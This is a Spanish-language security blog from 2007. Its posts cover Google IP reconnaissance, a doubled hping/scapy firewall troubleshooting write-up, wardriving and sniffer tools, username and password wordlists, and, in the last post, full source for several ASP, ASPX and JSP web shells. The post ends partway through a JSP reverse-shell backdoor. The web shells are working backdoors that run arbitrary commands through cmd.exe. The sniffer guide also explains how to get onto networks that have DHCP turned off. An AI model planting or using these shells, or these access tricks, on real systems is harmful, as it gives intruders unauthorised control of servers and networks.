jueves, 6 de diciembre de 2007

Obtención de información : Detección de proxys y otros

Es util para hacer mapas de red o recopilar información la búsqueda de IPs en google, usandola con comillas, por ejemplo introducciendo el query: "91.121.84.156". Si se buscan todas las IPs de todos los rangos que se tengan de una compañia, posiblemente, como poco, se detecte el proxy o dirección de salida que ha sido almacenada en distintos foros, aplicaciones de estadística, etc.

Nada del otro mundo, pero me lo dejo anotado, devuelve: IP:numero_de_links_en_google


fichero=$1
for i in `cat $fichero`; do
R=`lynx -dump "http://www.google.com/search?q=%22$i%22"`
if [ `echo "$R" | grep -i "did not match any documents" | wc -l ` == 0 ]
then
H=`echo "$R"| awk '$6 == "about" { print $7}'`
if [ ! -z $H ]; then echo $i:$H; fi
fi
done

sábado, 24 de noviembre de 2007

Crear RSS de directorios GLFTPD

Pequeño script para genear un archivo RSS con los directorios que se van creando dentro un glftpd. Para que funcione hace falta que sea llamado desde el project-zs-ng, en concreto, habria que modificar el zsconfig.h a estos valores:

#define enable_complete_script TRUE
#define complete_script "/bin/glftpd2rss.sh"

Otra opción es modificandolo un poco, se puede ejecutar con un cscript propio del glftpd, cada vez que se llame a "MKD".

Basicamente genera entradas con el nombre del directorio y su tamaño.

Ya que el glftpd se ejecuta enjaulado, requiere que el directorio donde se genera el RSS (y copian los archivos NFO) este visible desde el propio DocumentRoot del servidor web. Algo que se puede hacer mediante un mound --bind o un link.

Download: glftpd2rss.sh




jueves, 22 de noviembre de 2007

Velocidad del menú inicio

Ahora que soy usuario de windows vista [...], el menú de Inicio tardaba mucho (que raro) en desplegarse, sobre todo una vez le das a "Todos los programas", y dentro de esta nueva pestaña, tratas de seleccionar una de las "carpetas" con las aplicaciones.

Para acelerarlo, hay que deshabilitar una opción:
Propiedades del Menu de Inicio, deseleccionar la opcion de "Resaltar programas recien instalados", dentro de "Personalizar", en la pestaña "Menú Inicio".

Además se pueden cambiar otras opciones, como que las herramientas administrativas sean un desplegable dentro del menú inicio, que es bastante útil o recordar un número mayor de programas recientemente usados.

Por cierto, hablando de vista. Vivan los iconos a 1024x768!! y vivan los popups pidiendo autorización!

lunes, 19 de noviembre de 2007

Escaneo de puertos con hping/scapy

Voy a postear un resumen de mi conversación (o casi entrevista, por el nivel de mis preguntas) con Pci, sobre un problemilla que tenia yo de esos de ninja-tcp/ip con un puerto abierto tras un firewall.

El caso es que hay un puerto 443 abierto al que si le lanzo un hping con el flag de syn activado no me devuelve el syn-ack, en cambio si se usa scapy o un simple telnet responde correctamente.

He tratado de copiar los parametros que lanza scapy con el hping, para reproducir el problema:

hping2 -S -s 20 -p 443 192.168.1.2 -c 1 -w 8192 -M 0

HPING 192.168.1.2 (eth1 192.168.1.2): S set, 40 headers + 0 data bytes

--- 192.168.1.2 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss


Pero el puerto sigue dandome como cerrado (sin respuesta syn/ack).
En cambio con scapy:

# scapy
NFO: did not find python gnuplot wrapper . Won't be able to plot
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump()
Welcome to Scapy (v1.1.1 / f88d99910220)
>>> p=IP(dst="192.168.1.2")/TCP(dport=443, flags="S")
>>> sr(p)
Begin emission:
........Finished to send 1 packets.
..........*
Received 19 packets, got 1 answers, remaining 0 packets
(, )
>>> sr(p)
Begin emission:
.Finished to send 1 packets.
....*
Received 1 packets, got 1 answers, remaining 0 packets
(, )


Tras lanzar varios paquetes y hacer varias pruebas, no conseguí detectar el problema, ya que yo con mi packetyzer/wireshark veia los paquetes iguales.

Le pasé la captura a pablo y viendo el paquete en hexadecimal notó que en el SYN del hping, el flag del ACK venia con basura y por eso, el firewall lo rechazaba al no cumplir con el RFC.

# tcpdump -S -nn -vv -S -r test.pcap
reading from file test.pcap, link-type EN10MB (Ethernet)
13:29:07.860840 IP (tos 0x0, ttl 64, id 52124, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0x8702 (correct), 0:0(0) win 8192
13:29:13.161027 IP (tos 0x0, ttl 64, id 36260, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0xa474 (correct), 0:0(0) win 8192
13:29:16.469161 IP (tos 0x0, ttl 64, id 45487, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0x23e0 (correct), 0:0(0) win 8192
13:29:30.178422 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0x1483 (correct), 0:0(0) win 8192
13:29:30.225455 IP (tos 0x0, ttl 54, id 0, offset 0, flags [DF], proto: TCP (6), length: 44) 192.168.1.2.443 > 91.121.84.156.20: S, cksum 0x8176 (correct), 1896551268:1896551268(0) ack 1 win 5840
13:29:30.225484 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: R, cksum 0x3480 (correct), 1:1(0) win 0
13:29:36.065275 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0x1483 (correct), 0:0(0) win 8192
13:29:36.111614 IP (tos 0x0, ttl 54, id 0, offset 0, flags [DF], proto: TCP (6), length: 44) 192.168.1.2.443 > 91.121.84.156.20: S, cksum 0xb201 (correct), 1902436991:1902436991(0) ack 1 win 5840
13:29:36.111636 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: R, cksum 0x3480 (correct), 1:1(0) win 0
13:29:40.329581 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0x1483 (correct), 0:0(0) win 8192
13:29:40.376197 IP (tos 0x0, ttl 54, id 0, offset 0, flags [DF], proto: TCP (6), length: 44) 192.168.1.2.443 > 91.121.84.156.20: S, cksum 0xa04f (correct), 1906701296:1906701296(0) ack 1 win 5840
13:29:40.376226 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: R, cksum 0x3480 (correct), 1:1(0) win 0
13:29:45.807752 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: ICMP (1), length: 84) 91.121.84.156 > 192.168.1.2: ICMP echo request, id 59697, seq 1, length 64
13:29:45.848978 IP (tos 0x0, ttl 54, id 56093, offset 0, flags [none], proto: ICMP (1), length: 84)

En esta captura se pueden ver: 3 paquetes syn lanzados con hping, 3 lanzados con scapy y los syn-ack y rst que devuelve el puerto abierto y unos pings lanzados para no tener problemas con el buffer de tcpdump.

La siguiente es la captura en hex del hping

13:29:16.469161 IP (tos 0x0, ttl 64, id 45487, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156
.20 > 192.168.1.2.443: S, cksum 0x23e0 (correct), 0:0(0) win 8192
0x0000: 4500 0028 b1af 0000 4006 4f90 5b79 549c E..(....@.O.[yT.
0x0010: aaaa aaaa 0014 01bb 0000 0000 5f0c 9196 ............_...
0x0020: 5002 2000 23e0 0000 P...#...
13:29:30.178422 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20


Y está es la captura del paquete de scapy:

13:29:30.178422 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20
> 192.168.1.2.443: S, cksum 0x1483 (correct), 0:0(0) win 8192
0x0000: 4500 0028 0001 0000 4006 013f 5b79 549c E..(....@..?[yT.
0x0010: aaaa aaaa 0014 01bb 0000 0000 0000 0000 ................
0x0020: 5002 2000 1483 0000 P.......

Como se pude ver, hping rellena el flag no-ACK con: 5f0c 9196, no valido según el RFC causando que el firewall deniege el paquete y el puerto aparezca como cerrado.

La razón es esta linea en el código fuente (de sendtcp.c:59):
tcp->th_ack = (set_ack) ? htonl(tcp_ack) : htonl(rand());

Por alguna razon misteriosa, se decide rellenar mediante rand() ....

Para solucionar el problema, se puede lanzar ping con la siguiente sintaxis:
hping2 -S -s 20 -p 443 192.168.1.2 -c 1 -w 8192 -M 0 -L 0

Y el problema quedaría resuelto.

domingo, 18 de noviembre de 2007

Escaneo de puertos con hping/scapy

Voy a postear un resumen de mi conversación (o casi entrevista, por el nivel de mis preguntas) con Pci, sobre un problemilla que tenia yo de esos de ninja-tcp/ip con un puerto abierto tras un firewall.

El caso es que hay un puerto 443 abierto al que si le lanzo un hping con el flag de syn activado no me devuelve el syn-ack, en cambio si se usa scapy o un simple telnet responde correctamente.

He tratado de copiar los parametros que lanza scapy con el hping, para reproducir el problema:

hping2 -S -s 20 -p 443 192.168.1.2 -c 1 -w 8192 -M 0

HPING 192.168.1.2 (eth1 192.168.1.2): S set, 40 headers + 0 data bytes

--- 192.168.1.2 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss


Pero el puerto sigue dandome como cerrado (sin respuesta syn/ack).
En cambio con scapy:

# scapy
NFO: did not find python gnuplot wrapper . Won't be able to plot
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump()
Welcome to Scapy (v1.1.1 / f88d99910220)
>>> p=IP(dst="192.168.1.2")/TCP(dport=443, flags="S")
>>> sr(p)
Begin emission:
........Finished to send 1 packets.
..........*
Received 19 packets, got 1 answers, remaining 0 packets
(, )
>>> sr(p)
Begin emission:
.Finished to send 1 packets.
....*
Received 1 packets, got 1 answers, remaining 0 packets
(, )


Tras lanzar varios paquetes y hacer varias pruebas, no conseguí detectar el problema, ya que yo con mi packetyzer/wireshark veia los paquetes iguales.

Le pasé la captura a pablo y viendo el paquete en hexadecimal notó que en el SYN del hping, el flag del ACK venia con basura y por eso, el firewall lo rechazaba al no cumplir con el RFC.

# tcpdump -S -nn -vv -S -r test.pcap
reading from file test.pcap, link-type EN10MB (Ethernet)
13:29:07.860840 IP (tos 0x0, ttl 64, id 52124, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0x8702 (correct), 0:0(0) win 8192
13:29:13.161027 IP (tos 0x0, ttl 64, id 36260, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0xa474 (correct), 0:0(0) win 8192
13:29:16.469161 IP (tos 0x0, ttl 64, id 45487, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0x23e0 (correct), 0:0(0) win 8192
13:29:30.178422 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0x1483 (correct), 0:0(0) win 8192
13:29:30.225455 IP (tos 0x0, ttl 54, id 0, offset 0, flags [DF], proto: TCP (6), length: 44) 192.168.1.2.443 > 91.121.84.156.20: S, cksum 0x8176 (correct), 1896551268:1896551268(0) ack 1 win 5840
13:29:30.225484 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: R, cksum 0x3480 (correct), 1:1(0) win 0
13:29:36.065275 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0x1483 (correct), 0:0(0) win 8192
13:29:36.111614 IP (tos 0x0, ttl 54, id 0, offset 0, flags [DF], proto: TCP (6), length: 44) 192.168.1.2.443 > 91.121.84.156.20: S, cksum 0xb201 (correct), 1902436991:1902436991(0) ack 1 win 5840
13:29:36.111636 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: R, cksum 0x3480 (correct), 1:1(0) win 0
13:29:40.329581 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: S, cksum 0x1483 (correct), 0:0(0) win 8192
13:29:40.376197 IP (tos 0x0, ttl 54, id 0, offset 0, flags [DF], proto: TCP (6), length: 44) 192.168.1.2.443 > 91.121.84.156.20: S, cksum 0xa04f (correct), 1906701296:1906701296(0) ack 1 win 5840
13:29:40.376226 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 40) 91.121.84.156.20 > 192.168.1.2.443: R, cksum 0x3480 (correct), 1:1(0) win 0
13:29:45.807752 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: ICMP (1), length: 84) 91.121.84.156 > 192.168.1.2: ICMP echo request, id 59697, seq 1, length 64
13:29:45.848978 IP (tos 0x0, ttl 54, id 56093, offset 0, flags [none], proto: ICMP (1), length: 84)

En esta captura se pueden ver: 3 paquetes syn lanzados con hping, 3 lanzados con scapy y los syn-ack y rst que devuelve el puerto abierto y unos pings lanzados para no tener problemas con el buffer de tcpdump.

La siguiente es la captura en hex del hping

13:29:16.469161 IP (tos 0x0, ttl 64, id 45487, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156
.20 > 192.168.1.2.443: S, cksum 0x23e0 (correct), 0:0(0) win 8192
0x0000: 4500 0028 b1af 0000 4006 4f90 5b79 549c E..(....@.O.[yT.
0x0010: aaaa aaaa 0014 01bb 0000 0000 5f0c 9196 ............_...
0x0020: 5002 2000 23e0 0000 P...#...
13:29:30.178422 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20


Y está es la captura del paquete de scapy:

13:29:30.178422 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 40) 91.121.84.156.20
> 192.168.1.2.443: S, cksum 0x1483 (correct), 0:0(0) win 8192
0x0000: 4500 0028 0001 0000 4006 013f 5b79 549c E..(....@..?[yT.
0x0010: aaaa aaaa 0014 01bb 0000 0000 0000 0000 ................
0x0020: 5002 2000 1483 0000 P.......

Como se pude ver, hping rellena el flag no-ACK con: 5f0c 9196, no valido según el RFC causando que el firewall deniege el paquete y el puerto aparezca como cerrado.

La razón es esta linea en el código fuente (de sendtcp.c:59):
tcp->th_ack = (set_ack) ? htonl(tcp_ack) : htonl(rand());

Por alguna razon misteriosa, se decide rellenar mediante rand() ....

Para solucionar el problema, se puede lanzar ping con la siguiente sintaxis:
hping2 -S -s 20 -p 443 192.168.1.2 -c 1 -w 8192 -M 0 -L 0

Y el problema quedaría resuelto.




jueves, 27 de septiembre de 2007

usernames.txt

Hello NSA!!

Diccionario de nombres de usuario en español, basicamente es el primer string del campo "nombre" de la base de datos de infobel. usernames.gz


jueves, 13 de septiembre de 2007

Pen-Test de WebServices (fuzzers)

de pen-test:


- http://www.itko.com/site/products/lisa/ws_testing.jsp.
- wspawn
- wsknight
- wsrook
- wsaudit
- http://www.isecpartners.com/wsbang.html

martes, 31 de julio de 2007

Scanners, Sniffers y otras meigas. (Windows Mobile)

Del foro todopocketpc.com. autor beemer.
http://foro.todopocketpc.com/showthread.php?t=52433

Actualizado a Julio 2006

SCANNERS WIFI

Hay varios scanners WIFI disponibles, la mayoría gratuitos, pero no todos son iguales, y como comentaba ayer, no todos son ótimos para todas las tareas.
Voy a comentar algunos de ellos, con sus ventajas y su uso apropiado.

SCANNERS PARA WARDRIVING

Se caracterizan por ser capaces de detectar redes con todos sus datos, canal, RSSI,SSID, etc y por ser capaces de comunicarse con un GPS para dejar un log con la red localizada y el punto donde se localizó. Entre ellos tenemos los siguientes:
-PocketWarrior. http://pocketwarrior.sourceforge.net
Gratuito. Fue de los primeros y es el único de codigo abierto. Se pueden bajar los fuentes. Existen dos versiones, la estable y la inestable, que soporta mas tarjetas y dispone de un grafico de señal en funcion del tiempo. Buen soporte de Prism y algunas tarjetas mas, aunque no soporta NDIS 5.1 lo que hace que no sea compatible con todo. Pocas opciones de puerto serie para conectarse con el GPS. No permite conectarse a las redes.

-Ministumbler. http://www.netstumbler.org
Gratuito. Es el hemano pequeño del Netstumbler, el clásico de PC. Históricamente con muy mal soporte de tarjetas, lo que se ha corregido en la última versión 0.4 que soporta NDIS5.1 con lo que funciona con prácticamente todo. Buen soportede GPS. No permite conectarse a las redes ni da gráficos.

-WiFiFoFum http://www.wififofum.org/
Gratuito. Una de las últimas apariciones. Aparte de un tan curioso como inutil Radar, tiene dos características que lo hacen sumamente interesante: Está escrito en .NET y con soporte de NDIS 5.1 y permite conectarse a las redes siempre que desactivemos WZC y no tengan WEP. Menos da una piedra. Magnífico soporte de GPS y exportación directa a TomTom y otros.

-TodayWarrior http://personales.ya.com/beemer
Gratuito. Este lo he hecho yo. La idea es tener en la pantalla de hoy los controles suficientes para encontrar redes abiertas a la vez que controlamos el que no se nos apague la máquina, que no nos quedemos sin baterá, ..etc. Aunque hace mucho mas. Nos da información de el nombre de la red, nivel de señal, si tiene WEP o nó y enlaza directamente con el WZC para conectarse . Ultimamente (septiembre 2005) le he metido la opción de llamar a otro programita mio, el WifiKnife que sí se conecta a las redes disponibles, y otra opción para desactivar el WZC.

-Retina
http://www.eeye.com
Hay que registrasrse pero es gratuito. Falla un poco en su primera versión, sobre todo con el Chipset ACX100 (HP 41XX a 47XX y Dell X50) pero tiene ciertas ventajas cuando funciona: Encuentra automáticamente la IP del gateway y puede automatizar el ataque de diccionario WEP. Mis pruebas no me han reportado resultados positivos, pero tal vez se puedan mejorar.

-Hitchhiker
http://www.kasuei.com/hitchhiker/
Gratuito. Lo que pretende es automatizar al WZC. LAs dos primeras versiones eran peligrosas para la salud de este, pero la 0.3 puede ser instalada sin miedo. Mis experiencias dicen que no se conecta a nada que no lo haga el WZC por si mismo. La 0.4 funciona en VGA y WM5.

-CommView
http://www.tamos.com/products/commwifippc/
Este está a medio camino entre los scanners y los sniffers. Es util para analizar problemas en redes, ya que permite visualizar los AP ordenados por canal y monitorizar sus niveles de señal. Puede capturar paquetes en modo promiscuo y desencriptarlos al vuelo si tenemos la clave WEP. Problema: Funciona solamente con un puñado de tarjetas.

SCANNERS DE DISEÑO DE REDES
Incluyo aquí los que son capaces de mostrarnos simultaneamente gráficas de diversos puntos de acceso, lo que nos facilita la distribución de estos en la oficina o calibrar una antena direcciónal.
-PocketWarrior. Ya comentado, en su version inestable.

-WifiGraph http://www.kasuei.com/wifigraph
Gratuito. De muy reciente aparición, auntiene un soporte deficiente de tarjetas, no soportando NDIS 5.1 Sin embargo tiene unos magníficos gráficos que le hacen muy recomendable para quien tenga la suerte de hacerlo funcionar. No permite conectarse a redes.

SCANNERS DE CONEXION
Aqui incluyo los que nos sirven para facilitarnos la conexión a diversas redes, no solo su descubrimiento. No se valora si dan soporte de GPS ya que no estan pensados especialmente para Wardriving.
-WiFiFoFum Ya comentado. Solo conecta con redes abiertas y si desconectamos previamente el WZC

-PocketWinC http://www.cirond.com/site/products/wifispotter.htm
No es gratis. En principio cuesta 20$, pero se puede buscar una versión para los lectores de PC Magazine.... Es fantástico. Se trata de una cobertura de WZC y en el se apoya, lo que le permite mantener memoria de redes preferidas con sus encriptaciones WEP y reconectarse a ellas de manera inmediata. Permite ver los parámetros de conexión y testear la salida a Internet. Incluso puede hacer release/renew para evitarnos un softreset. Configura facilmente redes ad-hoc.Su inconveniente es alguna dificultad en reconocer a veces a las tarjetas Prism.

-WZC Integrado en WM2003
Se trata del Windows Zero Configuration. (Ver mi post de anoche sobre como alcanzarlo). Tiene capacidad de memorizar redes con sus parámetros WEP, crear redes ad-hoc, No indica nivel de señal y soporta cualquier tarjeta con driver. Mucho mejor de lo que se habla de és, sobre todo para los que se mueven entre varias redes de confianza, casa-oficina-etc.

-Boingo http://www.boingo.com/download.html
Gratuito. En realidad es una utilidad para conectarse a los Hot-Spot de Boingo en USA, pero tambien permite conectarse a cualquiera. Soporta WEP, pero no memoriza redes Basico pero mas que suficiente y util para los que no quieran gastarse el dinero o tengan problemas con PocketWinC.

-WifiKnife: http://personales.ya.com/beemer
Otro mio que puede ser llamado desde el anterior.
La versión 0.11 no hace mas que lo que puede hacer el WZC, y por tanto solo es util como comprobador de conexiones que ya hayamos hecho y tengamos problemas, pués los detecta y da consejos al respecto.
Ya corre sobre mi PDA la 0.15, y cuando llegue a la 0.2 la idea es que sea capaz de conectarse a redes abiertas aunque no tengan DHCP y en cualquier caso informar con precisión de porqué no se conecta.

SNIFFERS
VAmos a hablar de Sniffers. A diferencia de los scanners, los sniffers no buscan redes sino que muestran el tráfico de la red a la que estamos conectados.
Mediante ellos podemos ver los paquetes que circulan por nuestra red, en principio los que tienen origen o destino en nuestra tarjeta, pero si admite el modo "promiscuo", cualquiera que pase por nuestro segmento de red.
Esto sin embargo suele ocurrir solo con tarjetas Prism, mientras que con las demás escucharemos solo el tráfico dirigido desde o hacia nosotros más el Broadcast, aunque activemos "Promiscuo"

¿Y para que nos sirve escuchar este tráfico?:
Hay muchas utilidades: Esta mañana en el trabajo me ha servido para diagnosticar un error de RPC entre dos servidores exchange, y ayer arregle un problema de conexión del PocketWeather por WIFI en mi PDA. Sin embargo la utilidad mas habitual para el wardriver es localizar subredes IP en AP que no tengan activo el DHCP.
Mucha gente piensa que desactivando DHCP la gente no podrá conectarse a su red, ya que no sabrá que IP poner. Pero con nuestro sniffer sabremos cual.
Para ello ponemos una IP cualquiera en la tarjeta, 192.168.5.5, algo que no sea habitual, pero privada, no vaya a ser que pisemos a otra tarjeta por casualidad.
Nos conectamos a la red con esa IP, es como enchufar el cable de una LAN, no significa que nos comuniquemos, solo estamos conectados. Activamos el sniffer y voilá, vemos las IP de los paquetes que están circulando y la mayoría empezarán o terminarán en el gateway.
Localizamos una IP tendente a ser extraña, 179 o algo así, en la subred y la configuramos a nuestra tarjeta, junto con el gateway que hemos averiguado y ya tenemos nuestra salida a Internet. Facil ¿no?

Tiene otros usos menos benignos, pero en etos temas no vamos a entrar.

Los sniffers además nos permiten analizar los paquetes, ver estadísticas y muchas cosas mas. Podemos grabar el tráfico en un fichero para analizarlo mas tarde o exportarlo a un sniffer de PC que hace análisis mas potentes, como Etherreal.

Y por último veamos los Sniffers disponibles para PocketPC:

-CEniffer:
Gratuito. Pero últimamente ilocalizable debido a las ansias de Pathnet de vender el suyo.
Un Sniffer básico pero con estadísticas completas. Tiene el fallo de soportar pocas tarjetas, pero al que le funciones que no busque más. Es suficiente. Acabo de ver (19/4/2005) que han sacado una nueva versión, esta vez de pago (250$) que es el Pathnet llamado de otra manera, y se puede encontrar en http://www.pocketgear.com/software_detail.asp?id=4098

-PathNet:
De 100 a 200$. Es el CEniffer en versión comercial. Han mejorado mucho la compatibilidad con tarjetas, admite modo promíscuo, mejora las estadísticas y soporta exportar los datos a Etherreal. Tiene una versión capada de 100$ sin interés. La de 200$ es cara pero soporta todo lo anterior y es capaz de sniffear PPP, lo que le hace único para análisis de comunicaciones modem. Ultimamente solo se encuentra en pocketgear, ya que phatware lo ha eliminado de su página.


-vxSniffer: http://www.cam.com/vxsniffer.html
60$ Es bastante bueno, soporta modo promíscuo y casi todas las tarjetas. Es suficiente para la mayoría de las tareas aunque mas incómodo y con menos prestaciones que Pathnet Professional.


-AIRScanner: http://airscanner.com/downloads/sniffer/sniffer.html
De pago. Es muy bueno y soporta modo promiscuo : Ahora con soporte de 2003 y WM5 (el único con soporte de WM5)
__________________
beemer

miércoles, 11 de abril de 2007

Recopilación de enlances con wordlists

(recopilación pen-test)
En un mes seguro que no funciona ningún link, pero por si acaso:

http://www.openwall.com/passwords/wordlists/
ftp://ftp.ox.ac.uk/pub/wordlists/
http://www.outpost9.com/files/WordLists.html
http://packetstormsecurity.org/Crackers/wordlists/
http://theargon.com/achilles/wordlists/
https://www.totse.com/en/hack/word_lists/index.html
https://www.securinfos.info/wordlists_dictionnaires.php
http://www.vulnerabilityassessment.co.uk/passwords.htm

jueves, 29 de marzo de 2007

Web backdoor: jspshell aspshell aspxshell phpshell...

aspshell para IIS6
---------------------------------------------------------------------------------------------------------

<!-- IIS6 VBscript command shell -->
<!-- aramosf@unsec.net http://www.514.es -->

<title>514 aspshell</title>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="cmd" size=45 value="<%= cmd %>">
<input type=submit value="Run">
</FORM>
<PRE>

<%
If (request("cmd") <> "") Then
Response.Write Server.HTMLEncode(server.createobject("wscript.shell").exec(Server.MapPath("cmd.exe")& " /c " &

request("cmd")).stdout.readall)
End If
%>

</PRE>





Desde: http://michaeldaw.org/

cmdaspx.aspx
---------------------------------------------------------------------------------------------------------


<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>



cmd-asp-5.1.asp
---------------------------------------------------------------------------------------------------------


<%

' ASP Cmd Shell On IIS 5.1
' brett.moore_at_security-assessment.com
' http://seclists.org/bugtraq/2006/Dec/0226.html


Dim oS,oSNet,oFSys, oF,szCMD, szTF
On Error Resume Next
Set oS = Server.CreateObject("WSCRIPT.SHELL")
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form("C")
If (szCMD <> "") Then
szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName()
' Here we do the command
Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &
"""",0,True)
response.write szTF
' Change perms
Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G
everyone:F",0,True)
Set oF = oFSys.OpenTextFile(szTF,1,False,0)
End If
%>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="C" size=70 value="<%= szCMD %>">
<input type=submit value="Run"></FORM><PRE>
Machine: <%=oSNet.ComputerName%><BR>
Username: <%=oSNet.UserName%><br>
<%
If (IsObject(oF)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oF.ReadAll)
oF.Close
Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
End If
%>

cmd-asp.asp
---------------------------------------------------------------------------------------------------------


<%@ Language=VBScript %>
<%
' --------------------o0o--------------------
' File: CmdAsp.asp
' Author: Maceo <maceo @ dogmile.com>
' Release: 2000-12-01
' OS: Windows 2000, 4.0 NT
' -------------------------------------------

Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile

On Error Resume Next

' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then

' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>


cmdjsp.jsp
---------------------------------------------------------------------------------------------------------


// note that linux = cmd and windows = "cmd.exe /c + cmd"

<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";

if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>

<pre>
<%=output %>
</pre>


jsp-reverse.jsp
---------------------------------------------------------------------------------------------------------


// backdoor.jsp
// http://www.security.org.sg/code/jspreverse.html

<%@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
% >
<%!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;

StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}

public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;

try
{
isr = new BufferedReader(new InputStreamReader(is));
